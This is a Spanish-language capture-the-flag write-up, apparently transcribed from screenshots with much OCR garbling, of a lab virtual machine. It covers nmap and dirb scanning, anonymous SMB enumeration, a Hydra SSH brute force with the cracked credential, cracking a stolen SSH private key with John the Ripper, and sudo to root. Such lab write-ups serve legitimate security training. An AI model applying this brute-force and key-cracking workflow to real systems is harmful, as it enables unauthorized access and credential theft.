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Introduccion

En el ambito de la seguridad informatica, la auditoria de vulnerabilidades es
fundamental para identificar, evaluar y mitigar posibles brechas en sistemas y
redes. En este write-up, se detalla la metodologia utilizada para realizar un
reconocimiento exhaustivo, empleando diversas herramientas y técnicas que nos
permitieron descubrir y explotar vulnerabilidades en un servidor objetivo.

A lo largo del proceso, se siguid una serie de pasos sistematicos, que incluyeron el
escaneo de la red, la enumeracion de servicios y usuarios, y la explotacion de
credenciales y vulnerabilidades especificas, lo que finalmente llevé a una escalada
de privilegios. Este analisis no solo revela las debilidades del sistema, sino que
también muestra cémo los atacantes pueden aprovechar configuraciones
incorrectas y contrasefnas débiles para comprometer la seguridad de un entorno.

1- Objetivo

El objetivo de este write-up es documentar paso a paso el proceso de recoleccién
de informacidén, enumeracién y explotaciéon de un servidor objetivo en un entorno
controlado, utilizando diversas herramientas y técnicas de auditoria de seguridad.

2- Alcance

Este andlisis se centra en identificar las vulnerabilidades del servidor, explotar sus
debilidades y escalar privilegios. No se incluyen pruebas destructivas ni acciones
que afecten negativamente la integridad del sistema mas alla de la explotacion
controlada.

3- Resumen

Este write-up describe los procedimientos seguidos para comprometer un servidor
mediante técnicas de recolecciéon de informacién, enumeracién de servicios, y
explotacion de credenciales y vulnerabilidades. El objetivo final es obtener acceso
privilegiado al sistema.



3.1- Procedimientos realizados

Fase de recoleccion de informacion:

Se escanearon redes y servicios con el fin de descubrir las IPs y servicios activos.

Fase de enumeracion:

Se detallaron los servicios y puertos disponibles, identificando posibles puntos de
entrada para ataques.

Fase de explotacion:

Se explotaron vulnerabilidades detectadas, utilizando credenciales y
herramientas especificas para obtener acceso no autorizado y escalar privilegios.

3.2- Recoleccion de informacion

Escaneo de lared:

Primero, se escaned la red para identificar la IP del servidor objetivo:

Currently scanning: Finished!

3 Captured ARP Req/Rep packets, from 3 hosts

At MAC Address Count C Vendor / Hostname

6@ Unknown vendor
68 Systemtechnik GmbH
6@ CS Systemtechnik GmbH




Identificada la IP, se utiliz6 NMAP para escanear la IP y obtener informacidn
detallada sobre los servicios, versiones y sistema operativo.

Host is up (@
Not shown: 99
PORT

(Ubuntu Linux; pro

upen http Apache httpd 2.4.18 IIUbuntull
_http-title: Site doesn't ha a title (text/html).
http-server-header: Apache/2.4.18 IUbunTul
netbios-ssn Samba smbd 3 4.% (wor ;WO ROUP )
netbios-ssn Samba smbd 4.3.11-Ubuntu group: WORKGROUP)
ajpl3 Apache Jserv (Protocol wil.3
-methods:
pported methods: GET HEAD POST OPTIONS
B8d/tcp open http Apache Tomcat 9.@.7
_http-title: Apache Tomcat/9.@.7
_http-favicon: i i3
MAC Address: 08:0¢ B4 B6 (Oracle VirtwalBox virtual NIC)
Device type: general purpose
EUHHIHE Limux X
x_kernel:3 cpe:/o:linux:Llinux_kernel:4
Distance: 1 hop
Info: Host: BASICZ2; 0S: Linux; CPE: cpe:/fo:linux:linux_kernel

Host script results:
_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, ian: @s
smb-security-mode:
account_used: guest
authentication_level: use
challenge se: supported
_ mes _signing: disabled (dangerous, but default)
smb-o0s5-disc
0S: Windows 6.1 e a 4.3.11-Ubuntu)
Computer name:
NetBIOS computer
Domain name: “x
FODN: bas
rstem tlma 4-@8-29T07: 8-04:00

-08-29T11:83:48
N/A

<unknown>, NetBIOS5 MAC: <unknow

e detection performed. Please report any incorrect results at ht
nmap. 019/ ubmit/
Nmap done: 1 IP address (1 host up) s




Resultados del escaneo:

- HTTP - Apache -V2.4.18 - Puerto 80
-SSH - OpenSSH - V7.2P2 - Puerto 22

- Samba - SMB - V3.x/4.x - Puertos 139/445
- Apache JServ - V1.3 - Puerto 8009

- Apache Tomcat - V9.0.7 - Puerto 8080

-SO - Linux-V3.2-4.9



3.3- Enumeracion

Con lainformacion recopilada, se procedid a la enumeraciéon y reconocimiento de
vulnerabilidades.

Acceso a la web (puerto 80 y 8080):

Al acceder a la IP por los puertos 80 y 8080, nos redirigié a la IP 192.168.56.101.
Para continuar con la enumeracion, también se escaned laIP 192.168.56.100.

192.168.56.101/ x ar

QO & 192.168.56.1

Kali Linux # KaliTools =« KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Undergoing maintenance

Please check back later

Acceso a192.168.56.101:8080

* B ApacheTomeat/9.0.7 X +

O A 192.168.56

Kali Linux § KaliTools ¢ KaliDocs X Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Home Documentation Configuration Examples Wiki Mailing Lists Find Help

Apache Tomcat/9.0.7 # ApAcHE

™

Recommended Reading: Server Status

% Security Considerations HOW-TO -
Manager App

/&‘ Manager Application HOW-TO —_——
Clustering/Session Replication HOW-TO biostManaper

Developer Quick Start

Tomcat Setup Realms & AAA Examples Servlet Specifications
FEirst Web Application JDBC DataSources Tomcat Versions
Managing Tomcat Documentation Getting Help
For security, access to the manager webapp is Tomcat 9.0 Documentation FAQ and Mailing Lists
restricted. Users are defined in: | R

Tomcat 9.0 Configuration The following mailing lists are available
$SCATALINA_HOME/conf/ tomcat -users . aml

Tomcat Wiki tomcat-announce
In Tomcat 9.0 access to the manager Important announcements, releases, security
application is split between different users Find additional important configuration vulnerability notifications. (Low volume).
Read more... information in: tomeal-users

SCATALIMA HOME/RUNNING. txt User support and discussion
Release Notes taglibs-user

Developers may be interested in

User support and discussion for Apache Taglibs
Changelog
Tomcat 9.0 Bug Database fomeat-dev
Migration Guide Tomcat 9.0 JavaDocs Development mailing list, including commit messages

Security Notices Tomcat 9.0 SYN Repository



Analisis del codigo fuente web:

Al analizar el cédigo fuente de la pagina en el puerto 80, se identificé un comentario
que hacia referencia a un directorio oculto.

Contoda lainformacidonrecopilada podremos enumerary hacer reconocimiento de
vulnerabilidades.

WEB

si recordamos anteriormente hemos visto la web del puerto 80

®  192168.56.101/ -

<« C @ O A 192168.56.101

Kali Linux @ KaliTools « KaliDocs ¥ KaliForums ex Kali NetHunter Exploit-DB Google Hacking DB OffSec

Undergoing maintenance

Please check back later

Vamos a analizar el codigo fuente de la misma para ver si hay algun comentario
por parte del desarrollador.

Undergoing maintenance

Please check back later

Con estainformacién podremos deducir que existen mas secciones de laweb, pero

que actualmente para nosotros no son visibles, ya que no tenemos un menu o algo
similar dentro de la pagina para poder navegar por la misma, entonces



¢cComo podemos saber las carpetas que contiene esta pagina?

existen distintas herramientas para esta situacidon, nosotros nos centraremos en
Dirb.

Dirb es un escaner de contenido web, también conocido como una herramienta
de fuerza bruta para el descubrimiento de ficheros y directorios existentes en un
portal web.

para poder ejecutar la herramienta escribiremos el siguiente codigo:

J—|

.:_ S

2.168.56.101/

START_TIME: Thu Aug 29 13:18:26 2024
URL_BASE: http://192.168.56.181/
WORDLIST_FILES: fusr/share/dirb/wordlists/common.txt

GEMERATED WORDS: 4612
Scanning URL: http://192.168.56.101/ —
» DIRECTORY: http 92.168.56.1081/development/
://192.168.56.101 dex.html (C :
2.168.56.181/server-status (CODE:
—— Entering directory: http://192.168.56.101/development/ —

it.

END_TIME: Thu Aug 29 13:18:27 2824
DOWMLOADED: 4812 - FOUND: 2




Podremos observar que el fichero del que habla el comentario de la web es el
de development vamos a accedery veamos que nos encontramos.

Index of /development

Name Last modified Size Description

« Parent Directory -
dev.txt 2018-04-23 14:52 483
5 j.txt 2018-04-23 13:10 235

Apache/2.4.18 (Ubuntu) Server at 192.168.56.101 Port 80

Resultado:

Se encontré el archivodev.txt, que contenia una conversaciéon donde se
mencionaba que Kusaba la versiéon 2.5.12 de Struts, un framework para
aplicaciones Java EE, y que las credenciales de shadow eran débiles, lo que
indicaba una posible vulnerabilidad.

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this - 0. H: t made g veb apps yet, but I have tried that example
you get to show off rorks it's ersion of the example!). Oh, and right now I'm
using wversion 2.5.12, because other versions were g me trouble. -K

2018-04-22: SMB has been configured. -K

2018B-04-21: I got Apache set up. Will put in our content later. -J

En este archivo vemos una "conversacion" entre 2 individuos en la que se comenta
que K esta usando la version 2.5.12 de struts, una herramienta de soporte para el
desarrollo de aplicaciones Web del patrén MVC bajo la plataforma Java EE.



ARCHIVO: j.txt

For J:

I've been auditing the nts of / / to make e we don ak ntials,
and T able to < your hash really y. You know our password ¥, S0 P follow

it? Change that pass

K

Este quizd pueda ser mas interesante ya que K le comenta a J que ha auditado el
contenido de shadow vy sus credenciales son débiles y deberia de
cambiarlas, indicio de que su usuario es vulnerable.

Enumeracion de usuarios en Samba:

Se utilizé smbclient para conectar y listar los recursos compartidos del servicio
SMB. Se encontré un recurso anonymous con un archivo staff.txt, donde se
confirmaron los nombres de usuarios Kay y Jan.

Ahora procederemos a listar los nombres y grupos del samba
mediante SMBCLIENT ya que puede ser un vector de informacion.

-L 192.168.56.101 -N
Sharename Type Comment

Anonymous Disk
Ipc$ IPC IPC Serwvice (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.

Server Comment

Workgroup

WORKGROUP




Podemos observar que tenemos un share anonymous, ello indica que podemos
conectarnos sin credencial y ver qué informacién contiene.

sudo iclient / i9;.168.56.1@1fan0nym0u5 -
[sudo] password for excallbur: I

Thu Apr 19 1%9:
Thu Apr 19 19:
Thu Apr 19 19:26

11893952 blocks available

(56.3

WM o3 W

STAFF.TXT

-] excallbur@kali: ~

File Actions Edit View Help

creds hashl.txt
hash.txt staff.txt

L staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in
fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

Hemos descargado el Unico archivo dentro del share, silo leemos podemos ver que
los usuarios Ky J son Kay y Jan. Gracias a esto tenemos ya un nombre de usuario
contra el que poder hacer un ataque de diccionario y asi conseguir sus
credenciales.



3.4- Explotacion

Con suficiente informacion recopilada, se procedid a intentar la explotacion
utilizando herramientas como Hydra para realizar un ataque de fuerza bruta sobre
el servicio SSH.

| = |

-P fusr/share/wordlists/rockyou.txt ssh://192.168.56.101

| ’ 8.56.181
ydra v9.5 ( i iejak not use in
m111tm { OF SEecre ce orga a or +a; illegal purposes (this is n

Cs anyw

rithub.com/vanhauser-thc/thc-hydra)

[WAPNING] Many SSH configurations limit the number of parallel
commended to reduce the tasks: use -t 4
x 16 tq rr per 1 server, overall 16 tasks
) 2 es per task
[DATA] attacking ssh://192.168.56.101:22/

STATUS] 176.80 tries/min, 176 tries in @0:81h, 14344223 to do in 13
a:tlu
tries/min, 415 tries inm @@:83h, 14343984 to do in

login: jan password: armando
1 valid password found
iithub.com/vanhauser-thc/thc-hydra) finished a

Se obtuvieron las credenciales correctas para el usuario Jan:

Jan:armando



Con estas credenciales, se accedioé al servidor por SSH.

\— [

jan@192.168.56.101)

The authenticity of host '192.168.56.181 (192.168.56.101)" can't be establish
ed.
ED25519 key fingerprint is SHA256:XKjDkLKocbz JCch@TpriwlPelPuzDufTGZa4xMDA+o4

This key is not kmown by any other names.

Are you sure you want to continue connecting (y
Warning: Permanently added '192.168.56.181° (ED
s5ts.

jan@192.168.56.101"'s password:

Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.08-119-generic x&t

no/[fingerprint])? yes
19) to the list of known ho

es/
255

* Documentation: https://help.ubuntu.com
* Management: https andscape.canonical.com
* Support: https://ubuntu.com/advantage

@ packages can be updated.
@ uvupdates security updates.

The programs included with the Ubuntu system ar
the exact distribution terms for each program are
individual files in fusr/share/doc/*/copy

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system ar
the exact distribution terms for each program ar
individual files in Jusr/share/doc/*/copyrig

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

: Mon Apr 23 15:55:45 2018 from 192.168.56.1@82




Escalada de privilegios:

Una vez dentro, se identificé que el sistema operativo era Ubuntu 16.04.4. Se buscd
una vulnerabilidad conocida para esta versidon en Exploit-DB, encontrando el CVE-
2017-16995.

Este exploit aprovecha un conjunto de instrucciones BPF maliciosas que permiten
ejecutar codigo en el espacio del kernel, lo que da lugar a una escalada de
privilegios.

Antes de aprovechar esta vulnerabilidad, se debia obtener acceso a un usuario con
mas privilegios, Kay.

Acceso a la cuenta de Kay:

Se encontré la clave privada id_rsa de Kay en la carpeta .ssh. Para descifrarla, se
utilizé John the Ripper.

4096
4096

— =
[ =]

=

=

~+

™ LA

= ==

Mmoo oW

(%3]

=
o
=

drWXTWEY-X |

= -
o

-TW
-I'W-r—Tr—
drwxr-xr-x 2 \ \
-TW-T—T-— cay  kay ; r 17 26 . _as_admin_successful
=T 7 4 3 23 20 wviminfo

jan@basic2:

oo
(LSTT
e fd e
™ D

Usaremos el comando cat para poder visualizar el id_rsa de Kay y lo copiaremos
para descifrarlo con john.




John The Ripper es una herramienta de cdédigo abierto que viene instalada por
defecto en el sistema operativo Kali Linux y que sirve para descifrar contrasenas
de usuarios a partir de sus codigos hash.

Para usarlo haremos lo siguiente:

_;f55h2jnhn.cpythnn—ﬂll.pyc

id_rsa > id_rsa_johnlj

Este script convierte claves privadas, en un formato que puede ser procesado por
John he ripper para realizar ataques de fuerza bruta o ataques de diccionario con el
objetivo de descifrar la contrasefa que protege la clave privada SSH.

— id_rsa_john

for all loaded hashes
:Single
¢ for status
nt salt, minimum 8 needed for

/5 beeswax

Session completed.

168.1.169
'id_rsa’: |




Archivo pass.bak:

El archivo pass.bak contenia una contrasefia que permitié escalar privilegios

con sudo -i, obteniendo acceso como root.

kay@basic2:~% sudo -i
[sudo] password for

~# id
gid=0(root) groups=0(root)
root@basic2:~# |

Con el acceso root, se pudo visualizar la flag final del CTF.

[ or directory
'S ~f Xt
ulations! Y completed this challenge. There are two ways (that I'm awar

l, and two ways to privesc. I encourage you to find them all!

in the target audience ( s I hope you 1 rned somethi
rom this challenge i o at ewvery little bit of information you can find can b

eed to find sew
em to make them useful. ; i ; Also, ]
an obviously outdated, wvulne | ervi ght y wi a port scan | the first entry
in this series). Usually y L1 h: to dig deeper to find things that aren't as obvious, and
therefore might've been overlooked by administrators.

Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you'll
end

me a link! I can be reached at josiah@vt.edu. If you've got guestions or feedback, please

out to me.

Happy hac



Conclusion

Este write-up ha documentado paso a paso el proceso de recoleccion de
informacién, enumeraciéony explotacién en un entorno de CTF. La combinacién de
técnicas como el uso de Nmap, Dirb, SMBClient, Hydra y John the Ripper permitié
comprometer el sistema, escalar privilegios y lograr el acceso total. En una
situacion real, este proceso seria critico para identificary corregir vulnerabilidades
antes de que sean explotadas por actores malintencionados.

En un proximo write-up, exploraremos la explotacion directa de la
vulnerabilidad CVE-2017-16995 para lograr la escalada de privilegios.



